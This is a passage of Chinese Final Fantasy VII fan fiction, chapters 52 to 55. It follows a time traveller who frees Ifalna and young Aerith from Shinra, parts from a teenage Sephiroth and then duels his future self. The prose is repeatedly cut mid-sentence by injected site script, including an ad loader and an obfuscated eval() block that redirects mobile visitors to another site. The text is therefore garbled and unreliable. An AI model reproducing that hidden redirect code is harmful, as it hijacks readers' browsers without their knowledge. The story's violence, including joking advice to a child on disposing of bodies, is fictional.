萨菲罗斯什么也没有问,只是在一周后带来了那枚耳钉与依法露娜的回信。 赛特拉拥有与预知未来和穿越世界线的能力,而魔晶石打造的金色耳钉里蕴含着连接未来的爱丽丝的魔法,所以希森推测这枚耳钉能作为某种信物。从对方的答复来看,她显然赌对了。 这份礼物曾在生命之流里为她引路,又在这条时间线里为她送来唯一的盟友,每次都能在最需要的时候提供足以逆转局势的帮助。爱丽丝一定在与她相识后就预知到了这一切,也知道她会随身佩戴自己亲手做的饰品,所以在命运偏移前送出了未来的指引。 她并非孤身一人——爱丽丝说过,无论发生什么,他们都要一直在一起。 对塔克斯来说,黑进科学部门的监控和门禁系统制造一次短暂的会面并不难,重点在于对方是否愿意配合,所以她才需要先获得依法露娜的信任。 从黑暗中走出的女人摘下斗篷,她拥有着与爱丽丝极为相似的容貌,却多出几分冷淡与清丽,也更为成熟和疲惫。 “我知道你是谁,也知道你和爱丽丝的关系。”依法露娜平静地说,“但并不代表我完全相信你。” 哪怕能够看见未来,也不一定是全部的事实,况且在神罗这种环境里永远不能轻信他人。希森点头表示理解:“我希望你们可以帮我回到原来的时间线。但这并不是交易和要求,即便无法做到,我也会尽力带你们离开神罗。” 褐发的赛特拉后裔冷静地端详着她,似乎在考虑这些话的真实性,半晌过后才再次开口:“在你把爱丽丝送到安全的地方之后,我会送你回去。” “没问题。”希森松了一口气,“在那之前我可以向你了解一下这条时间线吗?” “你想知道什么?”依法露娜的语气柔和了些许。 “这里和我所在的世界线是同一条吗?” “不完全是。”她回答,“你的出现改变了世界线原有的未来,而现在是没有你存在的,这条世界线最初的时间点。” 一周目的爱丽丝在最后一条世界线毁灭之前将她送回过去,从而开启她穿越到的二周目。而她现在所处的时间点,就是一周目的过去。 “可这就和尼布尔海姆的时间循环相矛盾了。”希森不解,“我在1993年才穿越过来,1998年认识萨菲罗斯,他小时候并没有见过我这个人。” “时间循环并非凭空诞生,而是被创造出来的。”依法露娜拿出一张画,属于儿童的稚嫩笔触歪歪扭扭地用金色蜡笔画出一条线,末端连着一个绿色的点,从这个点上又延伸出一道弧形回来覆盖掉原先的金色线条,“当未来被改写,相应的过去也会被覆盖,因此才会产生循环。” 二周目的萨菲罗斯确实没有在小时候见过她,因为一周目的世界线已经被新的未来覆盖了。意识到世界线的规律后,她的指尖开始不受控制地颤抖——她知道尼布尔海姆事件之前的英雄在小时候没见过自己,但是她没问过继承了所有世界线记忆后的萨菲罗斯。 “如果我改变这条时间线的结局,阻止萨菲罗斯成神,我在未来的朋友会怎么样?” 依法露娜眼底闪过几分复杂的情愫:“这些曾经被你改变命运的人,乃至那个未来都会消失。” “……不是被覆盖,而是直接消失?”希森愣住了,“意思是那条时间线会毁灭?” 赛特拉后裔轻轻地叹了口气:“改变命运需要付出代价,那个未来本就因为你的到来才存在。” 也就是说,哪怕她在新创造的时间线和大家再次相遇,重复之前的经历,他们也不再是她最初认识的那些人。对她关照有加的塔克斯同事,不断指引她的爱丽丝,把她当成挚友的扎克斯,并肩作战的安吉尔和克劳德小队,还有折返回尼布尔海姆将她救走,一直守护在她身边的杰内西斯——这些人都会不复存在。 牺牲过去,换取未来,这是一场等价代换,正如萨菲罗斯选择在尼布尔海姆献祭过去的自己,获得成神的力量。擅长玩弄人心的杰诺瓦之子很清楚她此刻最在乎的是星球和朋友,所以逼迫她在二者之间做出抉择—— 是牺牲一直以来并肩作战的挚友,抹去亲手创造的一切,从根源上阻止灾厄诞生;还是任由萨菲罗斯走向坠落,回去那个注定绝望的未来,面对无法战胜的神明。 无论选择哪一个,对她来说都足够绝望。萨菲罗斯对他人残忍,对自己更残忍,昔日的英雄不过是未来可以肆意折磨利用的棋子。 令人窒息的沉默笼罩在两人之间,她仿佛一具被抽出灵魂的躯壳,连感知都逐渐褪去。最终还是依法露娜主动提醒:“我们该回去了。” “抱歉,我还有一个问题,”她回过神,艰难地维持着摇摇欲坠的理智,“你的白魔石最近有没有发生过变化?” 正要离去的脚步顿了顿,依法露娜的声音消散在夜风中:“你体内有白魔法,同一条时间线内不会出现两颗白魔石,在你到来之后它就变成了透明的普通魔晶。” …… 并非所有任务都需要塔克斯随行,因此希森有一段时间没有见到炙手可热的少年英雄。这反而是一件好事,因为她在那段时间里根本不知道该如何面对年少的灾厄。 也许是因为杰诺瓦的标记,也许是因为平日里少见的善意,这孩子对她似乎有些雏鸟情节。她无法回应这种依赖,却也同样无法狠心拒绝。 她大概失神了很久,以至于没能在第一时间察觉到空气里浓郁的血腥味。 银发少年安静地伫立在黑暗当中,长刀末端淌下温热猩红的液体,低落在地面堆叠的尸体上面。从装备上看那些人都是深渊部队的前身,却在瞬息间被一刀毙命。 “神罗不会让同一个人接触我太久,”萨菲罗斯清冷的声音响起,“总部默许宝条博士的清理行动。” 这一点希森早就注意到了,只是这些刺客杀掉一批又会来再一批,所以她大部 () { $(''.inform'').remove(); $(''#content'').append('' 分时间都只是找机会甩掉对方。他们大概也没想到向来绝对忠于神罗的英雄会因为一个塔克斯违抗命令,对宝条派来的人直接下死手。 “你不担心受到处罚吗?” “我不会留下痕迹。” 她看了一眼满地的猩红,又看了一眼纤尘不染的少年:“那你打算怎么处理这堆痕迹?” 萨菲罗斯沉默了,战场上的特种兵不需要毁尸灭迹,这很显然并不在他的考虑范围内。 “经常暗杀的塔克斯都知道,暗杀容易抛尸难。”她点燃地上堆叠的尸体,职业病犯了,“下次直接命中要害,不要把人砍成两段,第一是因为出血和掉落的组织太多,不好处理;第二是因为整个神罗只有你拥有这种实力,太明显了……” 银发少年默默地在一旁收拾残骸,欲言又止。 希森后知后觉自己教一个十三岁的孩子这种东西不太合适,于是决定改为传授一些日常园艺小技巧:“……破坏濒危植物是犯法的,所以你可以在抛尸点上种一些濒危植物,这样别人一般不敢去挖。” 不对,好像还是不太不合适。 算了。 “总之下次不要再这么做了,我不希望你因为我受罚。” “我下次会处理得更好,不会成为拖累。”碧绿的竖瞳看向她,“我能帮上忙。” “我不是那个意思,也并不需要你帮忙。” “为什么?”少年抬起头,精致的面容在雨幕中分外苍白,“依法露娜和爱丽丝能做到的,我也可以。” “……什么?”希森顿住了,怀疑自己是不是漏掉了什么剧情。 “我知道你们想要离开神罗。”他用的是陈述句,语气非常冷静,手里的力度却几乎把军用匕首折断,“我比她们的战斗能力更高,也更熟悉逃出总部的路线。” 萨菲罗斯拥有惊人的洞察力,能通过一个行为和双方的反应推断出背后的目的。她知道自己根本瞒不住对方,所以从一开始就没有刻意掩饰。 少年大概是误会了什么,担心她会在离开神罗后对自己食言。于是她伸出手,安抚性地揉了揉对方被雨水浸湿的银发:“你不需要再为我做这些,我离开之前一定会把你母亲的资料交给你。” 碧绿的竖瞳在细雨中一眨不眨,哪怕只是少年的萨菲罗斯,也能轻而易举拧断一个成年人的头颅,被他以这种高度专注的目光盯着依然会感受到巨大的压力。 这很显然并不是他想要的回答。希森收回手,腕部却在擦过少年脸颊的那一瞬间被牢牢扣住,萨菲罗斯歪了歪头,顺势贴上她的掌心,柔软的肌肤上传来冰凉光滑的触感。 “我还有用,还有价值。” 灼热的呼吸扫过掌心,少年宛如再夜色中吟诵魅惑之谣的塞壬海妖,流转着碧绿星河的竖瞳令人无法移开目光。雨水清新的气息和鲜浓厚的气味交杂在一起,纯净而又妖冶。 “你可以利用我,”他说,“姐姐。” 53.第 53 章 希森严肃地警告自己: 第一,萨菲罗斯现在才十三岁。 第二,她不能在同一颗树上吊死两次。 第三,什么猫都养只会害了她。 做完心理建设后,她平静地收回手,掌心还残留着雨水的凉意和肌肤的余温。 “塔克斯联合古代种实验体叛逃不是一件小事,神罗迟早会查到你身上,届时哪怕是英雄也无法逃避惩罚。” “你可以带我一起走。”鸦羽般的睫毛微微颤动,少年抬起头,“我有战斗能力。” 以前在孤儿院里生活的时候,她曾经遇到过一只被人虐待的小猫,每周都会特意省下一点面包投喂给它。后来那只小猫总是跟着她,大概是希望她能把自己带走,可惜她也没有可以回去的家。 尼布尔海姆事件发生前的萨菲罗斯看起来很好相处,实际上性格里的极端的部分一直存在,杰诺瓦的本能时不时溢出一下。说得好听叫意志力坚定,说得直接就是偏执,一旦抓住就不肯放手,哪怕意识到事情不对劲也会一头撞上去。 希森不愿给他虚假的希望,有些事情从一开始就应该说清楚:“我可以带你走。但把你们送到安全的地方之后,我就会一个人离开,永远不会回来。” “你要去的地方,不能带上我吗?”少年精致的五官仿佛玉石雕琢而成,完美无瑕却不带任何血色。延绵的雨幕洗去萨菲罗斯眼底的情绪,让人无从分辨他的想法。 “不能。”她的声音很轻,“你可以考虑好之后再做答复。” “——一周之后,”少年忽然生硬地转移了话题,“神罗会在朱农举办庆功会,总部要求我出席。” 她歪了歪头:“你希望我去参加?” “如果你愿意的话。”萨菲罗斯缓慢地眨了眨眼,“我会在那个时候……给你答复。” …… “看来你已经做出了选择。”依法露娜并没有感到意外,面不改色地用手术刀划开了自己的掌心。 “对我来说并不需要选择。”希森把能够暂时瘫痪门禁系统的脉冲装置植入她手中,又用魔石的力量愈合了创口,“好了。” 高高在上的神明肆意玩弄着所有人的命运,看似给出选择,实则将她推进早已写好的剧本。来到这里从来都不是希森的本意,她的选项由始至终也不包括萨菲罗斯——哪怕那个未来注定会失败也没有关系,她从未考虑也绝对不会扔下自己的朋友。 “希希!”清脆而稚嫩的童声打断了她的思绪,褐发绿眸的女孩蹦蹦跳跳地跑过来。五岁的爱丽丝还不到她的腰高,踮起脚尖递给她一朵用纸折的百合花,不知道从哪里翻出来的体检报告被女孩用水彩笔细心地涂成金色,中央还用碎纸做出了点点花芯,“这个给你,我听那些大人说要给英雄送花。” “很漂亮呢,谢谢爱丽丝。”希森半蹲下来,揉了揉爱丽丝毛茸茸的脑袋,“可我不是英雄,萨菲罗斯才是。” “苏菲肉丝是猫猫,他的眼睛和猫一样。”每当遇到音节比较多的名字,女孩就读不准确,“希希才是英雄,会像故事里一样从天而降,抱起公主!” 她一时间不知道该先纠正哪一句,干脆由着爱丽丝发散天马行空的想象:“嗯,那你就是公主。” “打败大魔王的公主。”爱丽丝强调。 她点点头:“对,还养了一只小狗。” “一只会说话的黑色小狗。”爱丽丝非常满意,但很快又陷入了纠结,“公主应该和英雄还是小狗在一起呢?” “我觉得是英雄吧,”她面不改色地撬了好友的墙角,“故事都是这么写的。” “那个,好像是欸。”女孩想了想,“不对——我看过英雄和魔王在一起的故事哦,英雄被魔王抓走啦。” “……?”到底是谁在写这种奇怪的东西,她决定第二天就以塔克斯的名义去查封对方,“那是骗人的,真正的结局是英雄把魔王埋进了土里,然后长出来很多漂亮的珍稀植物。” 精灵般活泼的女孩对于长出了什么植物十分感兴趣,缠着希森要听新的故事,直至困倒在她怀里后才被满脸无奈的依法露娜抱回去。 和爱丽丝的相遇让她短暂地原谅了全世界,连带看神罗都顺眼了一些。总部在三天前便向全国公布了朱农港的晚宴,名义上是庆祝少年英雄凯旋归来,实则是在为自身的实力宣传造势,以一场美好的幻梦掩盖背后黑暗的罪行。 自萨菲罗斯被神罗塑造成战争英雄以来,他都以特种兵的身份和造型登上舞台,然而这次宣传部一反往日的形象,为少年定制了一套以骑士为原型的欧式礼服。裁剪精致的布料勾勒出修长挺拔的身形,深蓝的单肩披风垂至脚边,将少年优雅而冷冽的气质发挥到极致。俊美的银发骑士自静谧的暮夜而来,宛如神话中那仅仅窥见一眼便能让人为之疯狂的魅惑生物。 看得出神罗在礼服的设计上下了血本,也如愿取得了巨大的成功。萨菲罗斯在开幕仪式上惊艳亮相,为这场庆典赚足了眼球和热度后又无声离去,如同一现的昙花,徒留无限遐想。 热烈的氛围带动所有人参与这场狂欢,希森被裹挟在蜂拥的人流里,成为唯一的逆行者,直至在旋转楼梯尽头前看到那一抹熟悉又耀眼的银白。 水晶吊灯为整个世界笼上一层浅金的薄纱,少年转身踏上阶梯,方才冷淡的神色在柔和的暖光下飞快融化。萨菲罗斯彬彬有礼地向她伸出手,宝石般的竖瞳里流淌着温柔而灼目的笑意。 十三岁的特种兵已经比她高出些许,精致的五官也初步展现那极具侵略性的美,明明是邀请的姿势,却带上了几分不容拒绝的意味。 她将手放进对方的掌心,眨了眨眼:“礼服很适合你,萨菲罗斯。” 手背传来转瞬即逝的触感,萨菲罗斯以绅士的礼仪落下一吻。对上她因诧异而微微睁大的双眸后,少年莞尔一笑,自然地牵着她往庭院的方向走去。 “我还以为你不喜欢这种场合。”希森有些好奇。 他并没有否认:“总部批准我在开幕仪式后自由活动,我听说朱农的夜景很美。” “所以你才邀请我过来?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “也许,”少年侧了侧头,弯起唇角,“我只是想给你留下一些美好的回忆。” 庭院两侧种满了浅蓝色的星辰花,微凉的晚风吹散身后的纸醉金迷,勾起一阵似有似无的清幽芬芳。从露台望下去,万家灯火沿着海岸绵延起伏,在夜幕下汇聚成一片生机勃勃的璀璨星海。他们沿着小道一路来到海边,听见浪花在沙滩上奏响毫无章法的夜曲。 “那是什么?”她的注意力被水中亮起的点点荧光吸引。 “一种能够发光的小型水母。”从小被实验室灌输大量知识的少年就像一本行走的教科书,“每到这个季节,它们就会靠岸进行求偶。” 海浪中漂浮的星辰很快连成一条柔和的光带,远远看去仿佛摇曳的绸缎。高跟鞋的设计并不适合在柔软的沙滩上行走,希森干脆利落地抛下它和其他繁琐的配饰,提起裙摆朝海边跑去。 “萨菲罗斯,它们有毒吗?” “这种生物对人体无害。”清冽的声音顺着海风传来,“因为它们是神罗的产物,投放在朱农用于旅游宣传,这个项目你或许了解过。” 即将碰到水面的手顿住,她停下脚步,若有所感地回过头。 “它的另一项研究是人造伊里丝之蝶,目前的复制体还不稳定,神罗预计在两年之后才能投入米德加的展厅。”萨菲罗斯踏着海浪走到她身旁,碧绿的竖瞳平静而温和,“所以,我猜你并不属于这个时代。” 他用的是陈述句。希森坦然地朝他笑:“所以我不能留下。” “我可以问问……为什么你会来到这里吗?”少年停顿了片刻,又补充道,“如果不能告诉我,那就不需要回答。” “为了改变命运,”海里的光点围绕在他们脚边,浮浮沉沉,“为了拯救我在乎的人。” 萨菲罗斯沉默了片刻:“如果我留在神罗,以后会遇见你吗?” “我不确定,”她实话实说,“或许可以,但一定会很困难,并且很痛苦。” “那么,”少年认真而又专注地看着她,“我会帮你们逃出去,然后留在神罗。” “好。”希森弯腰试图从水里捞起一点荧光,但灵活的水母飞快地从她指缝中溜走,“萨菲罗斯,帮我抓一下水母。” 少年愣了一下,似乎不太理解她的反应:“你不介意吗?” “我为什么要介意,你的意愿才是最重要的。”又一次被水母逃走,她理直气壮地指挥,“我要这只,这只,还有那只。” 年轻的特种兵眨眼间就捞起了那几团荧光,用随手捡到的贝壳盛起来递给她。这种美丽的人造生物在基因里就被刻下了亲近人类的本能,没多久又全部围了上来。她沿着海岸一边抓一边放,准备离开时才发现自己的鞋子早就被海浪卷走了,不禁看着手里的水母陷入了沉思。 碧绿的竖瞳里闪过几分促狭,萨菲罗斯似乎有些想笑,又飞快地忍住了:“……我背你回去。” “然后我明天就会被神罗抓起来判到下辈子。”希森叹了口气,“还是让曾来接我们吧。” 54.第 54 章 这条时间线没有路法斯在背后支持,尽管有萨菲罗斯的帮助,带着两个人叛逃依然比原来更艰难。希森还没达到1st的实力,只能借助外力提升。 她利用未来的记忆从武器开发部门的系统里调走了「涅墨西斯计划」的管控权限——和常规的项目不一样,它致力于研发出与魔法最大限度适配的武器。换句话来说,这个项目本是为擅长使用魔晶石的红发1st诞生的,但杰内西斯最终选择了如今那把标志性的赤色长剑。 「涅墨西斯」的研发成果是一把轻巧且纤细的紫色长剑,无论造型还是性能都非常适合她,希森在原来的时间线里就多次向总部申请它的使用权,可每次都被驳回。既然神罗不愿意给,那她就自己来拿。 刺耳的警报声响彻大楼,可驻守总部的士兵没有一人前来支援。银发少年手起刀落,身穿制服的守卫还未踏进楼层便已身首分离,余下的援兵在绝对的力量压制面前毫不犹豫地选择了逃跑。 依法露娜早已破坏了科学部门的门禁系统,带着爱丽丝前往安排好的目的地。被囚禁的实验体如出笼的兽般四散奔逃,希森提着长剑一路通行无阻地来到实验室,偶尔有几个研究人员试图上前劝阻,在看到涅墨西斯刀刃上滴落的血时都惜命地闭上了嘴。 宝条的模样和她记忆中的一致,只不过这次他没有机会变成怪物了。紫色的弧光掠过,身披白大褂的佝偻身影连同半个实验室被一分为二,和无数不见得光的罪行一同埋葬于火海当中。 尽管神罗的所作所为称得上自取灭亡,但不得不承认它的科技水平确实位于这个世界的顶峰。哪怕是成神后极度厌恶人类的萨菲罗斯,也依旧保留了正宗作为自己的武器和固定形象,可见武器开发部门的成果名不虚传。 希森终于理解为什么他会不顾一切地追求成神,因为掌握力量的感觉确实无与伦比,再也不会任人宰割,能够主宰自己乃至他人的命运。 她回过头,对上一双宝石般美丽的碧绿竖瞳。萨菲罗斯不知道在这里看了多久,秋日自由的风从玻璃幕墙巨大的断口处涌入,扬起少年银白的发丝。 希森弯起唇角:“你好像并不意外。” “你曾经告诉过我,”萨菲罗斯莞尔,“只有真正强大的人,才有温柔对待他人的能力。” 言外之意,在神罗这种环境里大发善心本无异于自寻死路,一个连自身安危都无法保障的人不可能再有心思和能力去考虑他人的死活。温柔在某种情况下是一种属于强者的特权,当周边的一切无法对自己构成任何威胁,才有能力去顾及甚至改变他人的处境。 “我可以理解为你在夸赞我吗?”她笑吟吟地问。 “或者说是欣赏更合适。”少年近乎凝视着她,“压倒性的力量和温柔的本质,反差的二者相结合便是人们所向往的美,也是神罗想要我展示的形象。” 人们需要英雄,而英雄必须强大且温柔。可想要得到什么就必须付出什么,神罗从未给予萨菲罗斯半分温柔,只是把英雄的外壳强加在他身上,所以当这层美好的假象被打碎之后,就只剩下内里那些阴暗又扭曲的疯狂。与其说杰诺瓦之子抛弃了人类的身份和情感,倒不如说他从来就没真正拥有过。 希森把记录着露克蕾西亚身份的磁盘交给他:“宝条骗了你,你无需按照他人的意愿而活。” 少年浅浅地弯起唇角:“如果再次见面,你会认出我吗?” 这个问题无法回答。她把一颗碧绿的治疗系魔晶石放进对方的掌心,“到了那个时候,你就把它送给我吧。” 冰凉的黑色皮革擦过指尖,萨菲罗斯收回的手顿了顿,似乎在强行克制着什么。碧绿的竖瞳因情绪波动而微微放大,如同竭力抑制住本能的猫科动物。 她迎着狂风走到裂口边缘,少年稍显沙哑的声音从身后传来。 “未来的我……会成为什么样的人?” “……或许,像神明一样。” 不是英雄,而是神明。 希森回过头,从神罗大厦一跃而下。 “一起改变命运吧,萨菲罗斯。”她微笑着说,“再见。” …… 由于长期遭受非人的实验,依法露娜的身体已经变得非常虚弱,他们的进展称不上快。好在爱丽丝对这场的逃亡之旅接受良好,无论路上遇到什么困难,都能被她想象成故事主角必须经历的奇幻冒险。 “你来啦!”女孩高兴地朝她招手,“你养的大猫猫呢,不用带上他吗?” 依法露娜善解人意地替她回答了这个问题:“爱丽丝,萨菲罗斯不和我们一起走。” “噢。”过了一会儿,女孩又抬起头,“希希,我以后该怎么去找你呀?” “你要找一颗蓝色的星球,叫地球。”她回答,“不过那个时候的我什么也不知道,要拜托爱丽丝重新教会我。” “没问题,交给我吧!”爱丽丝信心满满地应下,“我可以骑巴哈姆特过去吗?” “不可以哦。” “那你的故乡有龙吗?” “很遗憾,那里没有魔法,所以也没有龙。” “你的名字在你故乡怎么读呀?” “季节,季、节。” “季——节——” 这个年纪的古代种女孩有着无穷无尽的精力和好奇心,从旅途的起始一直持续到结束。依法露娜花了不少时间才把爱丽丝安顿好,踏着月色来到郊外的空地里。 希森本以为回到未来的过程会非常艰难,不料眼前的赛特拉后裔打消了这个顾虑:“我可以利用血脉中残留的白魔法打开时空裂缝,直接送你回去。” “对了,”她忽然想到了什么,“你说过我体内也有白魔法,那我是不是也可以利用它打开时空裂缝?” “神圣魔法将你带来这个星球,它已经与你的灵魂相连,使用它打开时空裂缝相当于消耗你的生命,会给你的身体和精神带来无法承受的伤害。”褐发女人摇了摇头,耐心地解释,“哪怕是赛特拉,强行打开时空裂缝也需要付出代价。” 她愣了一下:“那你——” “我余下的时间已经足够陪伴爱丽丝,不必为我担心。”依法露娜第一次对她展露出温柔的笑意,“就当是一位母亲对你的答谢。” 柔和 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的白色光芒自她脚下蔓延,绮丽的光晕宛如层层涟漪。 “谢谢。” 希森走进时空裂缝,整个世界如同一幅融化的画般瓦解,随后重组为无垠宇宙中的混乱空间。她并没有直接回到现实世界,而是在星河间不断下坠,直至坠落在一片破碎的废墟之中。 她并不是第一次来到时空裂缝,但这个地方给她的感觉和以往都不一样,如同世界的尽头般荒芜而又寂寞。银发的灾厄安静地矗立在废墟中央,抬头望向绽放于星幕上的绮丽星云,明明近在咫尺,却又遥不可及。 “我等了你很久,”萨菲罗斯侧过头,含笑的声音如丝绸般平滑低沉,“直至我意识到等待毫无意义,所以我去找你了。” “……这就是你不肯放过我,也不肯放过你自己的原因?”执念也好,报复也罢,她开始对这场单方面的游戏感到疲惫和厌倦了。 “每当你以人类的方式思考时,总是会变得格外愚蠢。”他的唇角弯起愉快而又恶意的弧度,碧绿的竖瞳中流淌着稠丽的毒汁,“亲手引领我毁灭地球的感觉如何?” 尼布尔海姆的大火熊熊燃烧,命运完成了最后的闭环。 她知道自己此时应该对此愤怒,悲伤,乃至是绝望,可如今她对这一切漠然无觉,心底只剩下了麻木的空洞。她像个旁观者一样看着数条纠缠在一起的命运线,脑海中唯有将它们一刀两断的念头。 “或许你忘记了,”希森听见自己平静的声音,“现在这个时间点的地球还没有毁灭。” 萨菲罗斯漫不经心地轻笑一声:“既然结局已经注定,我不认为有任何区别。” “是么,那你为什么不肯放我走,甚至不敢让我死去?”她笑了起来,“因为阻止陨石需要白魔法,所以你要带我走;一旦我死亡,白魔法就会和我一起回归生命之流,所以你不能让我死。” 萨菲罗斯的语气里听不出任何情绪:“你希望是这样?” “难道不是么?”她歪了歪头,用一种故作天真的语气反问,“你害怕克劳德会赢,毕竟在原来的世界线里,你一次又一次被这个无名小兵打败。” 银发的灾厄近乎凝视般看着她,如同银鳞的毒蛇锁定陷阱中的猎物,随时准备咬断对方的动脉,注入致命的毒汁。萨菲罗斯走上前,将近两米的身形将她完全覆盖在阴影当中,但她没有后退。 “很遗憾,激将法对我没有用。”他抬手将她脸侧的碎发别到耳后,动作很亲昵,语气却带着居高临下的凉薄,“你会带着仇恨和愤怒活下去,与我一同——见证永恒。” “我并不仇恨,也不愤怒,萨菲罗斯。”她直视着那双美丽的竖瞳,“你没有想过为什么你在生命之流里花了三年都追不上我吗?” 碧绿的竖瞳骤然扩散,如同蔓延的深渊。掠过她耳廓的手顿住了,萨菲罗斯没有回答,可那种被毒牙锁住颈脖的感觉再次出现,来自本能的预警顺着血液蔓延。 “因为我像你一样,舍弃了没用的记忆。无论是仇恨还是爱,都太过沉重,只会成为累赘。”希森极尽温柔地说,“我想要彻底摆脱你,所以我抛弃了那些多余的情感。” 55.第 55 章 她以为自己下一秒就会被毒蛇咬断喉咙,注入致死的毒液,但并没有。 萨菲罗斯唇角弯起的弧度凝固了一瞬,也仅仅是一瞬,然而正是这片刻的变化让他身上的非人感愈发强烈。碧绿的竖瞳一眨不眨地凝视着她,进入狩猎的状态的银蛇仔细观察着自己的猎物,不放过任何一丝破绽。 他看起来想要把她寸寸拆解,剖开身体,挖出内脏,斩断骨骼,寻找那可能藏在最深处的事物。可他最终并没有找到想要的东西,不管那是什么,都已经不复存在了。 萨菲罗斯的眼睛很漂亮。猫一般纤长的竖瞳骤然扩张,如同一道不断蔓延的裂缝,最终成为无法弥补的深渊。 整个世界在这一刻静止,在令人窒息的沉默中,连星辰也不再闪烁。 “啊,”鸦羽般的睫毛投下一层浅浅的阴影,遮去眼底弥漫开来说不清道不明的情绪。萨菲罗斯很轻地笑了一声,并没有在意她的讥讽,“在这方面,你我倒是很像。可惜你的意志如何并不能改变命运,不过是徒劳而无谓的挣扎。” “我看未必,或许是这些话和你一起成为我的回忆呢。”她微笑着后退了一步,附着着雷系魔法的寒冰在手中凝成长剑,“我已经完成了我的选择,现在轮到你了,萨菲罗斯——放我回去,或者杀了我。” “……真可悲。” 银发的灾厄侧了侧头,如同面对任性胡闹的孩童一般无奈地闭眼,丝绸般的音线低沉而平滑,似是讥讽,似是叹息。随着一声金属的嗡鸣,银白的太刀自虚空浮现。 “既然如此,那就让我再次享受你的绝望吧。” 她旋身挥刀,金属骤然碰撞爆发出清脆的哀鸣,兵刃相接的冲击力震得虎口发痛。她的进攻可以说是毫无技巧可言,但胜在全然不顾自己的性命,在面对一个不怕死的疯子时,任何一个有理智的人都会在第一时间选择回避。 可惜萨菲罗斯也是个疯子,还是个理智的疯子。 耀眼的闪电如箭矢落下,划破嵌满群星的夜幕。银发的身影在眨眼间越过对特种兵来说也足以致命的雷幕,如残影般闪现到她身前,飞速放大的绮丽竖瞳带有某种令人失神的魔力。 她在最后一刻挡下了正宗的刀刃,然而冰霜凝结而成的长剑也在刹那间碎裂,刀风的压力和魔法的失控同时反噬自身,五脏六腑如同被看不见的巨石碾压过去。 好痛,她几乎无法呼吸。 刀刃破空的声音再次响起,她顾不上喉头涌上的腥甜,侧身往一旁翻滚避开接踵而至的银白光弧。随着一声令人牙酸的轰鸣,她原本所在的地面被刻下道道极深的沟壑。 她的模样大抵很狼狈。萨菲罗斯相当绅士地收回长刀,好整以暇地看着她,以弯起的唇角无声挑衅。 答案当然是继续。 温热的鲜血与空气中的水分子一起重新凝结成刀刃,这一次她不再选择盲目地进攻,二者实力悬殊,正面接下对方的攻击无异于自寻死路。她飞快地和萨菲罗斯拉开距离,炽热的火球如雨点般落下。 燃烧的火墙被银白的光弧一分为二,高大的身影不紧不慢地自浓烟逼近。这本就是一场既不公平也毫无胜算的战斗,对她来说需要拼尽全力,对萨菲罗斯却游刃有余,甚至偶尔无需使用惯用手持刀。 绚烂的魔法如同烟火绽放,呼啸而至的雷电与烈焰谱写出华丽的乐章,大地在震动,巨石发出不堪重负的声响。躲闪、进攻、防御,她几乎只靠直觉在战斗,鬼魅般的银色身影闪现至身后,刺骨的寒意浸入血液,她被重重击飞在坚硬冰凉的石壁上,凭借本能反应召唤狂风卷起碎石组成囚笼吞没对方。 银发的灾厄忽然发力,魔法织就的重重阻碍在刹那间化为灰烬。在同一时间,她自他身侧一跃而起斩向发间那瓷器般苍白光滑的颈脖。 ——差一点。 萨菲罗斯侧身闪过寒冰铸就的刀锋,他们之间的距离猛然拉近,银白发丝卷起若有若无的芬芳。在擦肩而过的那一瞬,他忽然侧过头朝她微微一笑,好似深渊中以绮丽容貌蛊惑人心的致命生物,如星云般绮丽惑人的竖瞳里流淌着恶意的愉悦。 半透明的结界骤然碎裂,等她反应过来时,耳畔已经传来了细微却清脆的碎裂声,而后是耳垂温热酥麻的刺痛。眼前的世界仿佛化为慢放的电影,赤红的耳坠伴随着几缕发丝被一分为二,不规则的碎片夹杂着殷红的血珠坠入虚空,如同星辰陨落。 萨菲罗斯对于力量的把控和预判向来精准得令人恐惧,正宗的刀刃再偏毫厘,被斩断的便会是她的颈脖。 “那似乎是你很重视的东西呢,真遗憾。”碧绿的竖瞳微微眯起,银发的灾厄将她脸上的惊愕尽数收入眼底,唇角的弧度中带着不加掩饰的愉悦和享受,“还要继续吗?” 来自生物本能的预警在脑海中尖啸,身体的每个细胞都在让她停下,每一寸神经都警告她快逃。可潜藏直觉中的另一种天性却让她更加兴奋,急剧飙升的肾上腺素短暂麻痹了感知,浓郁的血腥味不断刺激她去挑战无法战胜的敌人。 ——杀死魔王,或者被魔王杀死。 ——这才是拯救世界的英雄该做的事,不是吗? 她用行动做出了回答。因为此时她已经无法开口说话了,每一次呼吸都伴随着腥甜的疼痛。 魔晶石塑造的屏障堪堪挡下银白的光弧,剧烈碰撞引发的嗡鸣声和碎裂声震得耳膜发痛。银发的灾厄完全可以直接结束战斗,可他总在最后一刻收手,如同恶劣的捕食者捉弄猎物一般,在咬断喉咙前忽然松口,又再次将利爪嵌入柔软的皮肉,直至奄奄一息的猎物再也无力挣扎。 “何必抵抗,”萨菲罗斯的声音轻柔而平滑,“命运的每一个结局都已然证明了你属于我,也只属于我。” 鲜血浸湿衣物,传回黏腻不适的触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13795152|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感——她身上是数不清的伤口,每一道都避开要害,虽然不致死却在一点一点地蚕食她的体力和精神,即便是治愈魔法也无法弥补如此密集的伤势。 确实很痛,但是她感到前所未有的轻松和自由,像是终于将什么腐烂的东西从身体里挖出来丢弃。 寒冰凝成利刃,很快又碎裂开来,她现在连保持平衡都很勉强,更不用说继续战斗。失血过多带来一阵强烈的晕眩,恍惚中她看见银发的身影朝自己逐步逼近,甚至能闻到发丝上淡淡的玫瑰花香。 “游戏结束了。”他从容不迫地说,“我想失败者并没有拒绝的权利。” 漆黑的羽翼遮天蔽日,她连后退都做不到。原来爱丽丝看的不是故事,她心想,而是星球的预言。 